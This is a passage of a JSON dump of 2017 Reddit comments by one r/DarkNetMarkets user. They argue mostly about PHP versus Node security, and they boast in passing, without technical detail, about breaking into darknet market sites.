794 "parent_id": "t1_dl69o94",
795 "retrieved_on": 1501877458,
796 "score": 1,
797 "stickied": false,
798 "subreddit": "DarkNetMarkets",
799 "subreddit_id": "t5_2yt0h"
800 },
801 {
802 "author": "t0mcheck",
803 "author_flair_css_class": null,
804 "author_flair_text": null,
805 "body": "4/10 \n\nNext time be a little less antagonistic and hire a more realistic programmer - I might finally click on that PDF you guys keep sending me.",
806 "created_utc": 1501877232,
807 "id": "dl69j7m",
808 "link_id": "t3_6rlczq",
809 "parent_id": "t1_dl69gm8",
810 "retrieved_on": 1501877233,
811 "score": 1,
812 "stickied": false,
813 "subreddit": "DarkNetMarkets",
814 "subreddit_id": "t5_2yt0h"
815 },
816 {
817 "author": "t0mcheck",
818 "author_flair_css_class": null,
819 "author_flair_text": null,
820 "body": "Could we get the stenographer to read back the prosecutors last question please?",
821 "created_utc": 1501877070,
822 "id": "dl69e28",
823 "link_id": "t3_6rlczq",
824 "parent_id": "t1_dl69bvu",
825 "retrieved_on": 1501877071,
826 "score": 1,
827 "stickied": false,
828 "subreddit": "DarkNetMarkets",
829 "subreddit_id": "t5_2yt0h"
830 },
831 {
832 "author": "t0mcheck",
833 "author_flair_css_class": null,
834 "author_flair_text": null,
835 "body": "Is that a question officer?",
836 "created_utc": 1501877037,
837 "id": "dl69czg",
838 "link_id": "t3_6rlczq",
839 "parent_id": "t1_dl69bvu",
840 "retrieved_on": 1501877038,
841 "score": 1,
842 "stickied": false,
843 "subreddit": "DarkNetMarkets",
844 "subreddit_id": "t5_2yt0h"
845 },
846 {
847 "author": "t0mcheck",
848 "author_flair_css_class": null,
849 "author_flair_text": null,
850 "body": "But I never said i've seen code of the markets from the inside",
851 "created_utc": 1501876959,
852 "id": "dl69aec",
853 "link_id": "t3_6rlczq",
854 "parent_id": "t1_dl698xq",
855 "retrieved_on": 1501876960,
856 "score": 1,
857 "stickied": false,
858 "subreddit": "DarkNetMarkets",
859 "subreddit_id": "t5_2yt0h"
860 },
861 {
862 "author": "t0mcheck",
863 "author_flair_css_class": null,
864 "author_flair_text": null,
865 "body": "So you're no longer a fan?\n\nWhich part of what i've posted recently do you believe is not authentic or has not evidence?\n",
866 "created_utc": 1501876859,
867 "id": "dl69748",
868 "link_id": "t3_6rlczq",
869 "parent_id": "t1_dl68utp",
870 "retrieved_on": 1501876861,
871 "score": 1,
872 "stickied": false,
873 "subreddit": "DarkNetMarkets",
874 "subreddit_id": "t5_2yt0h"
875 },
876 {
877 "author": "t0mcheck",
878 "author_flair_css_class": null,
879 "author_flair_text": null,
880 "body": "and 0.5 of that 3 out of 10 is attributed purely to the boost of spending time on this sub in the last week",
881 "created_utc": 1501876507,
882 "id": "dl68vby",
883 "link_id": "t3_6rlczq",
884 "parent_id": "t1_dl68pr2",
885 "retrieved_on": 1501876508,
886 "score": 1,
887 "stickied": false,
888 "subreddit": "DarkNetMarkets",
889 "subreddit_id": "t5_2yt0h"
890 },
891 {
892 "author": "t0mcheck",
893 "author_flair_css_class": null,
894 "author_flair_text": null,
895 "body": "Nah I have never talked my skills up. At best, in infosec terms, i'm a 3/10",
896 "created_utc": 1501876422,
897 "id": "dl68sf8",
898 "link_id": "t3_6rlczq",
899 "parent_id": "t1_dl68pr2",
900 "retrieved_on": 1501876423,
901 "score": 1,
902 "stickied": false,
903 "subreddit": "DarkNetMarkets",
904 "subreddit_id": "t5_2yt0h"
905 },
906 {
907 "author": "t0mcheck",
908 "author_flair_css_class": null,
909 "author_flair_text": null,
910 "body": "how do I take screenshots in tails?",
911 "created_utc": 1501876257,
912 "id": "dl68mu4",
913 "link_id": "t3_6rlczq",
914 "parent_id": "t1_dl68l5w",
915 "retrieved_on": 1501876258,
916 "score": 1,
917 "stickied": false,
918 "subreddit": "DarkNetMarkets",
919 "subreddit_id": "t5_2yt0h"
920 },
921 {
922 "author": "t0mcheck",
923 "author_flair_css_class": null,
924 "author_flair_text": null,
925 "body": "lollllllll god you're fun.",
926 "created_utc": 1501876246,
927 "id": "dl68mfc",
928 "link_id": "t3_6rlczq",
929 "parent_id": "t1_dl68l5w",
930 "retrieved_on": 1501876247,
931 "score": 1,
932 "stickied": false,
933 "subreddit": "DarkNetMarkets",
934 "subreddit_id": "t5_2yt0h"
935 },
936 {
937 "author": "t0mcheck",
938 "author_flair_css_class": null,
939 "author_flair_text": null,
940 "body": "The person who told me about it I trust a lot and I know they have seen it first hand. \n\nI know for a fact that they've seen the inside of a lot of markets.\n\nReally smart guy this friend of mine - has a lot of patience for pesky people who ask a lot of questions unlike myself.",
941 "created_utc": 1501876146,
942 "id": "dl68j05",
943 "link_id": "t3_6rlczq",
944 "parent_id": "t1_dl68gcp",
945 "retrieved_on": 1501876147,
946 "score": 1,
947 "stickied": false,
948 "subreddit": "DarkNetMarkets",
949 "subreddit_id": "t5_2yt0h"
950 },
951 {
952 "author": "t0mcheck",
953 "author_flair_css_class": null,
954 "author_flair_text": null,
955 "body": "nice try officer - but if I ever broke any laws I would be the first to admit it and turn myself in with a full confession",
956 "created_utc": 1501875972,
957 "id": "dl68d56",
958 "link_id": "t3_6rlczq",
959 "parent_id": "t1_dl68alp",
960 "retrieved_on": 1501875973,
961 "score": 1,
962 "stickied": false,
963 "subreddit": "DarkNetMarkets",
964 "subreddit_id": "t5_2yt0h"
965 },
966 {
967 "author": "t0mcheck",
968 "author_flair_css_class": null,
969 "author_flair_text": null,
970 "body": "oh god - are you role playing as a naive person or are you really this dense?",
971 "created_utc": 1501875925,
972 "id": "dl68bkg",
973 "link_id": "t3_6rlczq",
974 "parent_id": "t1_dl68alp",
975 "retrieved_on": 1501875927,
976 "score": 1,
977 "stickied": false,
978 "subreddit": "DarkNetMarkets",
979 "subreddit_id": "t5_2yt0h"
980 },
981 {
982 "author": "t0mcheck",
983 "author_flair_css_class": null,
984 "author_flair_text": null,
985 "body": "I know someone who has seen code inside markets that was written by offshore outsourced developers. ",
986 "created_utc": 1501875857,
987 "id": "dl68997",
988 "link_id": "t3_6rlczq",
989 "parent_id": "t1_dl687i8",
990 "retrieved_on": 1501875859,
991 "score": 1,
992 "stickied": false,
993 "subreddit": "DarkNetMarkets",
994 "subreddit_id": "t5_2yt0h"
995 },
996 {
997 "author": "t0mcheck",
998 "author_flair_css_class": null,
999 "author_flair_text": null,
1000 "body": "Thats a list of examples of bad practices i've seen across markets. ",
1001 "created_utc": 1501875753,
1002 "id": "dl685pm",
1003 "link_id": "t3_6rlczq",
1004 "parent_id": "t1_dl684ot",
1005 "retrieved_on": 1501875755,
1006 "score": 1,
1007 "stickied": false,
1008 "subreddit": "DarkNetMarkets",
1009 "subreddit_id": "t5_2yt0h"
1010 },
1011 {
1012 "author": "t0mcheck",
1013 "author_flair_css_class": null,
1014 "author_flair_text": null,
1015 "body": "> how all markets are coded by foreign freelancers. \n\nI didn't say this",
1016 "created_utc": 1501875602,
1017 "id": "dl680k0",
1018 "link_id": "t3_6rlczq",
1019 "parent_id": "t1_dl67xix",
1020 "retrieved_on": 1501875603,
1021 "score": 1,
1022 "stickied": false,
1023 "subreddit": "DarkNetMarkets",
1024 "subreddit_id": "t5_2yt0h"
1025 },
1026 {
1027 "author": "t0mcheck",
1028 "author_flair_css_class": null,
1029 "author_flair_text": null,
1030 "body": "> but that's only because you seem to have totally dropped the discussion we were having.\n\ndo I need to copy + paste what I said a *fourth* time?\n\nscroll up to the list of 4 points I made.\n\nWhat part of that don't you understand that I need to copy and paste it again?",
1031 "created_utc": 1501875482,
1032 "id": "dl67wh3",
1033 "link_id": "t3_6rlczq",
1034 "parent_id": "t1_dl67phs",
1035 "retrieved_on": 1501875482,
1036 "score": 1,
1037 "stickied": false,
1038 "subreddit": "DarkNetMarkets",
1039 "subreddit_id": "t5_2yt0h"
1040 },
1041 {
1042 "author": "t0mcheck",
1043 "author_flair_css_class": null,
1044 "author_flair_text": null,
1045 "body": "> do you not think I or many others could have done what you did?\n\nYes. \n\nConfirmed because the group of people that came together around DHL many of them were not infosec and found many of the follow-up bugs. ",
1046 "created_utc": 1501875413,
1047 "id": "dl67u57",
1048 "link_id": "t3_6rlczq",
1049 "parent_id": "t1_dl67phs",
1050 "retrieved_on": 1501875414,
1051 "score": 1,
1052 "stickied": false,
1053 "subreddit": "DarkNetMarkets",
1054 "subreddit_id": "t5_2yt0h"
1055 },
1056 {
1057 "author": "t0mcheck",
1058 "author_flair_css_class": null,
1059 "author_flair_text": null,
1060 "body": "> Again, normal programmers do not pen test every website they visit.\n> \n\nWell, they should. Especially if they're experts on which programming environments are more secure. ",
1061 "created_utc": 1501875151,
1062 "id": "dl67lje",
1063 "link_id": "t3_6rlczq",
1064 "parent_id": "t1_dl67jh4",
1065 "retrieved_on": 1501875152,
1066 "score": 1,
1067 "stickied": false,
1068 "subreddit": "DarkNetMarkets",
1069 "subreddit_id": "t5_2yt0h"
1070 },
1071 {
1072 "author": "t0mcheck",
1073 "author_flair_css_class": null,
1074 "author_flair_text": null,
1075 "body": "> There are others here who can process what you are doing and have done.\n\noh there are? where were they 7 days ago when DHL was the favorite market around here?\n",
1076 "created_utc": 1501874985,
1077 "id": "dl67fyo",
1078 "link_id": "t3_6rlczq",
1079 "parent_id": "t1_dl67bd4",
1080 "retrieved_on": 1501874986,
1081 "score": 1,
1082 "stickied": false,
1083 "subreddit": "DarkNetMarkets",
1084 "subreddit_id": "t5_2yt0h"
1085 },
1086 {
1087 "author": "t0mcheck",
1088 "author_flair_css_class": null,
1089 "author_flair_text": null,
1090 "body": "I love it when admins and other idiots minimize what I had to do to pop these sites. \n\nI know the exploits are shitty - they're *terrible* - I literally pointed out in my writeups that I spent 30 and 60 minutes popping both of these sites\n\nThe point is - if it was so simple and stupid - what the fuck have you all been doing this entire time?",
1091 "created_utc": 1501874316,
1092 "id": "dl66t55",
1093 "link_id": "t3_6rlczq",
1094 "parent_id": "t1_dl66lee",
1095 "retrieved_on": 1501874317,
1096 "score": 1,
1097 "stickied": false,
1098 "subreddit": "DarkNetMarkets",
1099 "subreddit_id": "t5_2yt0h"
1100 },
1101 {
1102 "author": "t0mcheck",
1103 "author_flair_css_class": null,
1104 "author_flair_text": null,
1105 "body": "Correct - the answer is you. I have never hacked anything.",
1106 "created_utc": 1501873930,
1107 "id": "dl66fxe",
1108 "link_id": "t3_6rlczq",
1109 "parent_id": "t1_dl66cxl",
1110 "retrieved_on": 1501873932,
1111 "score": 1,
1112 "stickied": false,
1113 "subreddit": "DarkNetMarkets",
1114 "subreddit_id": "t5_2yt0h"
1115 },
1116 {
1117 "author": "t0mcheck",
1118 "author_flair_css_class": null,
1119 "author_flair_text": null,
1120 "body": "oh god. \n\n`facepalm.jp`",
1121 "created_utc": 1501873795,
1122 "id": "dl66baw",
1123 "link_id": "t3_6rlczq",
1124 "parent_id": "t1_dl669ot",
1125 "retrieved_on": 1501873797,
1126 "score": 1,
1127 "stickied": false,
1128 "subreddit": "DarkNetMarkets",
1129 "subreddit_id": "t5_2yt0h"
1130 },
1131 {
1132 "author": "t0mcheck",
1133 "author_flair_css_class": null,
1134 "author_flair_text": null,
1135 "body": "I didn't reveal the info about Alex's account - why are you asking me that?\n\n> I think it's more likely\n\nThe difference between you and I is that you are guessing and I know",
1136 "created_utc": 1501873652,
1137 "id": "dl666jb",
1138 "link_id": "t3_6rlczq",
1139 "parent_id": "t1_dl6604i",
1140 "retrieved_on": 1501873653,
1141 "score": 1,
1142 "stickied": false,
1143 "subreddit": "DarkNetMarkets",
1144 "subreddit_id": "t5_2yt0h"
1145 },
1146 {
1147 "author": "t0mcheck",
1148 "author_flair_css_class": null,
1149 "author_flair_text": null,
1150 "body": "Do you want to guess why people don't talk about certain things or are you going to continue to naively attempt to have someone admit to violations of CFAA? ",
1151 "created_utc": 1501873590,
1152 "id": "dl664ea",
1153 "link_id": "t3_6rlczq",
1154 "parent_id": "t1_dl662ee",
1155 "retrieved_on": 1501873591,
1156 "score": 1,
1157 "stickied": false,
1158 "subreddit": "DarkNetMarkets",
1159 "subreddit_id": "t5_2yt0h"
1160 },
1161 {
1162 "author": "t0mcheck",
1163 "author_flair_css_class": null,
1164 "author_flair_text": null,
1165 "body": "> So... because that's what they say over at HackForums? \n\nNope\n\n> Are you implying that the guys at Facebook et al know less about security than you?\n\nThis hits a bit too close to home so i'm not going to answer it lol :)\n\n\n\n",
1166 "created_utc": 1501873447,
1167 "id": "dl65zmv",
1168 "link_id": "t3_6rlczq",
1169 "parent_id": "t1_dl65xca",
1170 "retrieved_on": 1501873448,
1171 "score": 1,
1172 "stickied": false,
1173 "subreddit": "DarkNetMarkets",
1174 "subreddit_id": "t5_2yt0h"
1175 },
1176 {
1177 "author": "t0mcheck",
1178 "author_flair_css_class": null,
1179 "author_flair_text": null,
1180 "body": "Or they're just not telling you about it ",
1181 "created_utc": 1501873358,
1182 "id": "dl65wm9",
1183 "link_id": "t3_6rlczq",
1184 "parent_id": "t1_dl65o18",
1185 "retrieved_on": 1501873359,
1186 "score": 1,
1187 "stickied": false,
1188 "subreddit": "DarkNetMarkets",
1189 "subreddit_id": "t5_2yt0h"
1190 },
1191 {
1192 "author": "t0mcheck",
1193 "author_flair_css_class": null,
1194 "author_flair_text": null,
1195 "body": "> With the proper skills, design and libraries, you can write secure C/C++ code. Which ironically, Theo and Donald both proved.\n\nYes agree. You can also write great PHP. It's just that PHP developers tend not to produce great PHP.",
1196 "created_utc": 1501873322,
1197 "id": "dl65vge",
1198 "link_id": "t3_6rlczq",
1199 "parent_id": "t1_dl65rz4",
1200 "retrieved_on": 1501873323,
1201 "score": 1,
1202 "stickied": false,
1203 "subreddit": "DarkNetMarkets",
1204 "subreddit_id": "t5_2yt0h"
1205 },
1206 {
1207 "author": "t0mcheck",
1208 "author_flair_css_class": null,
1209 "author_flair_text": null,
1210 "body": "> That's why I keep asking you why you're continuing this other than to project your own bias against PHP?\n\nand i'll answer again (i'm literally repeating myself for the third time here again)\n\nThis belief is based on the fact that during a long career testing hundreds of applications across a number of environments - my success rate at demonstrating vulnerabilities in PHP applications is 98%+ and is by far the worst of any group\n\nI also know through discussions with my peers that their results are also similar.",
1211 "created_utc": 1501873172,
1212 "id": "dl65qh4",
1213 "link_id": "t3_6rlczq",
1214 "parent_id": "t1_dl65m5n",
1215 "retrieved_on": 1501873173,
1216 "score": 1,
1217 "stickied": false,
1218 "subreddit": "DarkNetMarkets",
1219 "subreddit_id": "t5_2yt0h"
1220 },
1221 {
1222 "author": "t0mcheck",
1223 "author_flair_css_class": null,
1224 "author_flair_text": null,
1225 "body": "You're not getting a source for that for reasons that should be obvious if you spend even 10 seconds thinking about it.",
1226 "created_utc": 1501873005,
1227 "id": "dl65krp",
1228 "link_id": "t3_6rlczq",
1229 "parent_id": "t1_dl65iuj",
1230 "retrieved_on": 1501873006,
1231 "score": 1,
1232 "stickied": false,
1233 "subreddit": "DarkNetMarkets",
1234 "subreddit_id": "t5_2yt0h"
1235 },
1236 {
1237 "author": "t0mcheck",
1238 "author_flair_css_class": null,
1239 "author_flair_text": null,
1240 "body": "I'll repeat it again, again:\n\n1. I believe it is easier to make mistakes in PHP\n\n1. PHP developers are more likely to be bad developers than any other group of developers\n\n1. I like languages that both protect developers and offer code hints to suggest to developers that what they're about to do is insecure\n\nWhich part of these three points do you not understand?",
1241 "created_utc": 1501872882,
1242 "id": "dl65gln",
1243 "link_id": "t3_6rlczq",
1244 "parent_id": "t1_dl65b2s",
1245 "retrieved_on": 1501872883,
1246 "score": 1,
1247 "stickied": false,
1248 "subreddit": "DarkNetMarkets",
1249 "subreddit_id": "t5_2yt0h"
1250 },
1251 {
1252 "author": "t0mcheck",
1253 "author_flair_css_class": null,
1254 "author_flair_text": null,
1255 "body": "Btw if you stop now i'll let you call this argument a win for you",
1256 "created_utc": 1501872715,
1257 "id": "dl65az5",
1258 "link_id": "t3_6rlczq",
1259 "parent_id": "t1_dl6503j",
1260 "retrieved_on": 1501872716,
1261 "score": 1,
1262 "stickied": false,
1263 "subreddit": "DarkNetMarkets",
1264 "subreddit_id": "t5_2yt0h"
1265 },
1266 {
1267 "author": "t0mcheck",
1268 "author_flair_css_class": null,
1269 "author_flair_text": null,
1270 "body": "> So what you're saying is NodeJS used correctly is secure? \n\nNo your verbaling me I didn't say that. I've literally said in my comments here that I find the rate of being able to pop node apps at 50-60%\n\nAlso infosec people don't talk about security in certainties because we understand that it is all relative and on scales ",
1271 "created_utc": 1501872584,
1272 "id": "dl656jp",
1273 "link_id": "t3_6rlczq",
1274 "parent_id": "t1_dl6503j",
1275 "retrieved_on": 1501872585,
1276 "score": 1,
1277 "stickied": false,
1278 "subreddit": "DarkNetMarkets",
1279 "subreddit_id": "t5_2yt0h"
1280 },
1281 {
1282 "author": "t0mcheck",
1283 "author_flair_css_class": null,
1284 "author_flair_text": null,
1285 "body": "Ok let me break this down for you\n\nYou said in node or express you can also fuck up\n\nLets set aside for a moment that this isn't an actual argument or rebutal but rather whataboutism \n\nI then said - yes, in Express and Node you have to go out of your way to do it \n\n*which is why* I like methods like dangerouslySetInnerHTML from React\n\n*because it is another example of \"having to go out of your way to do it\"*\n\nDo you understand now how that sentence was constructed?",
1286 "created_utc": 1501872297,
1287 "id": "dl64wpj",
1288 "link_id": "t3_6rlczq",
1289 "parent_id": "t1_dl64gai",
1290 "retrieved_on": 1501872299,
1291 "score": 1,
1292 "stickied": false,
1293 "subreddit": "DarkNetMarkets",
1294 "subreddit_id": "t5_2yt0h"
1295 },
1296 {
1297 "author": "t0mcheck",
1298 "author_flair_css_class": null,
1299 "author_flair_text": null,
1300 "body": "> The basic C and C++ libraries are technically not part of the language spec\n\nOh god - that seems rather arbitary\n\nYou realize most langauges are designed this way?\n\nYour argument is the \"real men code in assembly\" of infosec - it has been demonstrated numerous times that even good and excellent programmers make mistakes with security, so you minimize those mistakes with whatever you can\n\nsigned,\n\nt0mcheck MCSE, CCNA, Azure Cloud Specialist",
1301 "created_utc": 1501872084,
1302 "id": "dl64pce",
1303 "link_id": "t3_6rlczq",
1304 "parent_id": "t1_dl64cii",
1305 "retrieved_on": 1501872085,
1306 "score": 1,
1307 "stickied": false,
1308 "subreddit": "DarkNetMarkets",
1309 "subreddit_id": "t5_2yt0h"
1310 },
1311 {
1312 "author": "t0mcheck",
1313 "author_flair_css_class": null,
1314 "author_flair_text": null,
1315 "body": "You realize that isn't Node right? ",
1316 "created_utc": 1501871715,
1317 "id": "dl64cyj",
1318 "link_id": "t3_6rlczq",
1319 "parent_id": "t1_dl646vu",
1320 "retrieved_on": 1501871716,
1321 "score": 1,
1322 "stickied": false,
1323 "subreddit": "DarkNetMarkets",
1324 "subreddit_id": "t5_2yt0h"
1325 },
1326 {
1327 "author": "t0mcheck",
1328 "author_flair_css_class": null,
1329 "author_flair_text": null,
1330 "body": "Don't think it is - we had a pretty good picture of the DHL infrastructure and didn't see Grams there",
1331 "created_utc": 1501871688,
1332 "id": "dl64c18",
1333 "link_id": "t3_6rjwqv",
1334 "parent_id": "t1_dl63xep",
1335 "retrieved_on": 1501871689,
1336 "score": 1,
1337 "stickied": false,
1338 "subreddit": "DarkNetMarkets",
1339 "subreddit_id": "t5_2yt0h"
1340 },
1341 {
1342 "author": "t0mcheck",
1343 "author_flair_css_class": null,
1344 "author_flair_text": null,
1345 "body": "> You asked why the programmers weren't investigating - because we're busy with our own jobs and instead just use the DNMs practicing good OPSEC to bug drugs.\n\nYes and i'm also busy - yet it took me 90 minutes to pop two sites here.\n\nYou saw yourself that they were simple bugs - so what is the deal? \n\n> You didn't deny you were uneducated in the subject though.\n\nQuadruple negative!",
1346 "created_utc": 1501871629,
1347 "id": "dl64a0j",
1348 "link_id": "t3_6rlczq",
1349 "parent_id": "t1_dl63y2u",
1350 "retrieved_on": 1501871631,
1351 "score": 1,
1352 "stickied": false,
1353 "subreddit": "DarkNetMarkets",
1354 "subreddit_id": "t5_2yt0h"
1355 },
1356 {
1357 "author": "t0mcheck",
1358 "author_flair_css_class": null,
1359 "author_flair_text": null,
1360 "body": "I held up node as a paragon? You realize i'm not OP right? ",
1361 "created_utc": 1501871337,
1362 "id": "dl6406b",
1363 "link_id": "t3_6rlczq",
1364 "parent_id": "t1_dl63soz",
1365 "retrieved_on": 1501871338,
1366 "score": 1,
1367 "stickied": false,
1368 "subreddit": "DarkNetMarkets",
1369 "subreddit_id": "t5_2yt0h"
1370 },
1371 {
1372 "author": "t0mcheck",
1373 "author_flair_css_class": null,
1374 "author_flair_text": null,
1375 "body": "> You can write shit code and you can write secure code in any language.\n\nDon't disagree\n\n> If a developer has to depend on their language to keep them from writing insecure code, then they are a terrible programmer\n\nTheo de Raadt will be happy to hear you think he's a terrible programmer because he implemented safe version of all the libc string functions\n\nDJB will love hearing the same - since he implemented safe versions of a lot of libs as well\n\n> It's not PHP that is the issue with the DNM's but it is the lack of skill, discipline and proper development cycle that are causing the security issues. \n\nRead my original comments - do I blame PHP or do I say bad programmers are more likely to pick PHP? \n\n\n\n",
1376 "created_utc": 1501871274,
1377 "id": "dl63xyt",
1378 "link_id": "t3_6rlczq",
1379 "parent_id": "t1_dl63tg5",
1380 "retrieved_on": 1501871275,
1381 "score": 1,
1382 "stickied": false,
1383 "subreddit": "DarkNetMarkets",
1384 "subreddit_id": "t5_2yt0h"
1385 },
1386 {
1387 "author": "t0mcheck",
1388 "author_flair_css_class": null,
1389 "author_flair_text": null,
1390 "body": "> Well most of us have jobs. If they were paying us to look maybe...\n> \n\nand i'm the unemployed guy being paid to look for them? \n\n> I don't only use PHP so what's your point here?\n\nSuuuuuuuuuuuuuuuuuuuuure you don't ;) ",
1391 "created_utc": 1501871084,
1392 "id": "dl63rn5",
1393 "link_id": "t3_6rlczq",
1394 "parent_id": "t1_dl63pga",
1395 "retrieved_on": 1501871085,
1396 "score": 1,
1397 "stickied": false,
1398 "subreddit": "DarkNetMarkets",
1399 "subreddit_id": "t5_2yt0h"
1400 },
1401 {
1402 "author": "t0mcheck",
1403 "author_flair_css_class": null,
1404 "author_flair_text": null,
1405 "body": "and I hope you're not in awe - because the bugs i've found are basic. \n\nThe kind of mistakes that frameworks and libraries don't let you make, coincidently. ",
1406 "created_utc": 1501870936,
1407 "id": "dl63mjs",
1408 "link_id": "t3_6rlczq",
1409 "parent_id": "t1_dl63hlr",
1410 "retrieved_on": 1501870937,
1411 "score": 1,
1412 "stickied": false,
1413 "subreddit": "DarkNetMarkets",
1414 "subreddit_id": "t5_2yt0h"
1415 },
1416 {
1417 "author": "t0mcheck",
1418 "author_flair_css_class": null,
1419 "author_flair_text": null,
1420 "body": "What were all these other programmers doing this entire time with these markets?\n\nNothing infosec people love more than having PHP developers explain to them just how great PHP is. It's never non-PHP developers making that argument, mind you. ",
1421 "created_utc": 1501870877,
1422 "id": "dl63khe",
1423 "link_id": "t3_6rlczq",
1424 "parent_id": "t1_dl63hlr",
1425 "retrieved_on": 1501870879,
1426 "score": 1,
1427 "stickied": false,
1428 "subreddit": "DarkNetMarkets",
1429 "subreddit_id": "t5_2yt0h"
1430 },
1431 {
1432 "author": "t0mcheck",
1433 "author_flair_css_class": null,
1434 "author_flair_text": null,
1435 "body": "ye at this point i'm out. cya. ",
1436 "created_utc": 1501870736,
1437 "id": "dl63fp9",
1438 "link_id": "t3_6rlczq",
1439 "parent_id": "t1_dl637co",
1440 "retrieved_on": 1501870738,
1441 "score": 1,
1442 "stickied": false,
1443 "subreddit": "DarkNetMarkets",
1444 "subreddit_id": "t5_2yt0h"
1445 },
1446 {
1447 "author": "t0mcheck",
1448 "author_flair_css_class": null,
1449 "author_flair_text": null,
1450 "body": "I think we have it too good at the moment - huge skills shortage in infosec and everyone is throwing *a lot* of money at infosec people at the moment. \n\nI don't see why anyone would risk $300k+ a year and a guaranteed career of doing fun stuff for a handful of years making more money but not so much more that it's worth the risk\n\nThat's my best guess, anyway",
1451 "created_utc": 1501870493,
1452 "id": "dl637cn",
1453 "link_id": "t3_6rlczq",
1454 "parent_id": "t1_dl62tyv",
1455 "retrieved_on": 1501870494,
1456 "score": 1,
1457 "stickied": false,
1458 "subreddit": "DarkNetMarkets",
1459 "subreddit_id": "t5_2yt0h"
1460 },
1461 {
1462 "author": "t0mcheck",
1463 "author_flair_css_class": null,
1464 "author_flair_text": null,
1465 "body": "BTW since you're now moved towards nitpicking (wombat2combat did the same thing) - Frameworks are code that runs your code, while Libraries are code your code runs.\n\nHence why React is a library while Rails is a framework.",
1466 "created_utc": 1501870359,
1467 "id": "dl632oo",
1468 "link_id": "t3_6rlczq",
1469 "parent_id": "t1_dl62vgp",
1470 "retrieved_on": 1501870360,
1471 "score": 1,
1472 "stickied": false,
1473 "subreddit": "DarkNetMarkets",
1474 "subreddit_id": "t5_2yt0h"
1475 },
1476 {
1477 "author": "t0mcheck",
1478 "author_flair_css_class": null,
1479 "author_flair_text": null,
1480 "body": "I don't think it is far fetched to refer to React, which is essentially a DSL for the DOM, and JSX as a language \n\n",
1481 "created_utc": 1501870269,
1482 "id": "dl62znt",
1483 "link_id": "t3_6rlczq",
1484 "parent_id": "t1_dl62vgp",
1485 "retrieved_on": 1501870271,
1486 "score": 1,
1487 "stickied": false,
1488 "subreddit": "DarkNetMarkets",
1489 "subreddit_id": "t5_2yt0h"
1490 },
1491 {
1492 "author": "t0mcheck",
1493 "author_flair_css_class": null,
1494 "author_flair_text": null,
1495 "body": "> You seem to agree with me its not the language its the users?\n\nI've said this already: PHP makes it easy to make mistakes.\n\nI've also said this part already: I like languages that offer very strong code hints to users, such as Facebook React's `dangerouslySetInnerHTML` ",
1496 "created_utc": 1501870076,
1497 "id": "dl62sx6",
1498 "link_id": "t3_6rlczq",
1499 "parent_id": "t1_dl62mlo",
1500 "retrieved_on": 1501870077,
1501 "score": 1,
1502 "stickied": false,
1503 "subreddit": "DarkNetMarkets",
1504 "subreddit_id": "t5_2yt0h"
1505 },
1506 {
1507 "author": "t0mcheck",
1508 "author_flair_css_class": null,
1509 "author_flair_text": null,
1510 "body": "Biases are unreasoned - I've already shown you what the reasoning is behind my opinion - the fact that across testing hundreds of apps my rate of finding vulnerabilities on PHP apps is close to 100% and it is at least ~20% worse than any other\n\nIf you think this is unique to me, go and ask on infosec twitter what their rates are - you will get similar results\n\nExplain this away however you want since your a PHP user (an *actual* bias) but it is a fact.",
1511 "created_utc": 1501869765,
1512 "id": "dl62iee",
1513 "link_id": "t3_6rlczq",
1514 "parent_id": "t1_dl627ce",
1515 "retrieved_on": 1501869766,
1516 "score": 1,
1517 "stickied": false,
1518 "subreddit": "DarkNetMarkets",
1519 "subreddit_id": "t5_2yt0h"
1520 },
1521 {
1522 "author": "t0mcheck",
1523 "author_flair_css_class": null,
1524 "author_flair_text": null,
1525 "body": "\"Show me how the language use correctly is dangerous\" is a tautology \n\nIt's like saying \"perfectly secure apps are never insecure\" ",
1526 "created_utc": 1501869195,
1527 "id": "dl61yv2",
1528 "link_id": "t3_6rlczq",
1529 "parent_id": "t1_dl613zv",
1530 "retrieved_on": 1501869196,
1531 "score": 1,
1532 "stickied": false,
1533 "subreddit": "DarkNetMarkets",
1534 "subreddit_id": "t5_2yt0h"
1535 },
1536 {
1537 "author": "t0mcheck",
1538 "author_flair_css_class": null,
1539 "author_flair_text": null,
1540 "body": "not sure yet - haven't had time to look at them all and buried deep in unread messages. give it a few days :)",
1541 "created_utc": 1501868783,
1542 "id": "dl61kfg",
1543 "link_id": "t3_6r7g5s",
1544 "parent_id": "t1_dl5vrho",
1545 "retrieved_on": 1501868784,
1546 "score": 1,
1547 "stickied": false,
1548 "subreddit": "DarkNetMarkets",
1549 "subreddit_id": "t5_2yt0h"
1550 },
1551 {
1552 "author": "t0mcheck",
1553 "author_flair_css_class": null,
1554 "author_flair_text": null,
1555 "body": "how the fuck you are still on the mod team I will never know\n\nplease /u/Theeconomist1 if you're still around - this thread is all you need to read to see what is going on here.",
1556 "created_utc": 1501868271,
1557 "id": "dl612by",
1558 "link_id": "t3_6rf4yf",
1559 "parent_id": "t1_dl5xllw",
1560 "retrieved_on": 1501868272,
1561 "score": 1,
1562 "stickied": false,
1563 "subreddit": "DarkNetMarkets",
1564 "subreddit_id": "t5_2yt0h"
1565 },
1566 {
1567 "author": "t0mcheck",
1568 "author_flair_css_class": null,
1569 "author_flair_text": null,
1570 "body": "That explains why a survey of infosec pen testers will find a 95%+ success rate breaking PHP apps while it would be closer to 50% for node ",
1571 "created_utc": 1501868066,
1572 "id": "dl60uz1",
1573 "link_id": "t3_6rlczq",
1574 "parent_id": "t1_dl60dzd",
1575 "retrieved_on": 1501868069,
1576 "score": 1,
1577 "stickied": false,
1578 "subreddit": "DarkNetMarkets",
1579 "subreddit_id": "t5_2yt0h"
1580 },
1581 {
1582 "author": "t0mcheck",
1583 "author_flair_css_class": null,
1584 "author_flair_text": null,
1585 "body": "You've admitted now that my original post provided everything you would have needed to verify the leak\n\nYou were more interested in grand standing",
1586 "created_utc": 1501867852,
1587 "id": "dl60nj8",
1588 "link_id": "t3_6rf4yf",
1589 "parent_id": "t1_dl5xllw",
1590 "retrieved_on": 1501867854,
1591 "score": 1,
1592 "stickied": false,
1593 "subreddit": "DarkNetMarkets",
1594 "subreddit_id": "t5_2yt0h"
1595 },
1596 {
1597 "author": "t0mcheck",
1598 "author_flair_css_class": null,
1599 "author_flair_text": null,
1600 "body": "As I said - i'm not having this argument again. PHP developers get emotional when you tell them their language makes it easy to make mistakes\n\nC and C++ developers are similar when you point out the history of buffer overflows and the need for new programming languges like Go and Rust (they also point out that it is *possible* to write C/C++ without buffer overflows - but history suggests otherwise)",
1601 "created_utc": 1501867182,
1602 "id": "dl6004w",
1603 "link_id": "t3_6rlczq",
1604 "parent_id": "t1_dl5zwn5",
1605 "retrieved_on": 1501867184,
1606 "score": 1,
1607 "stickied": false,
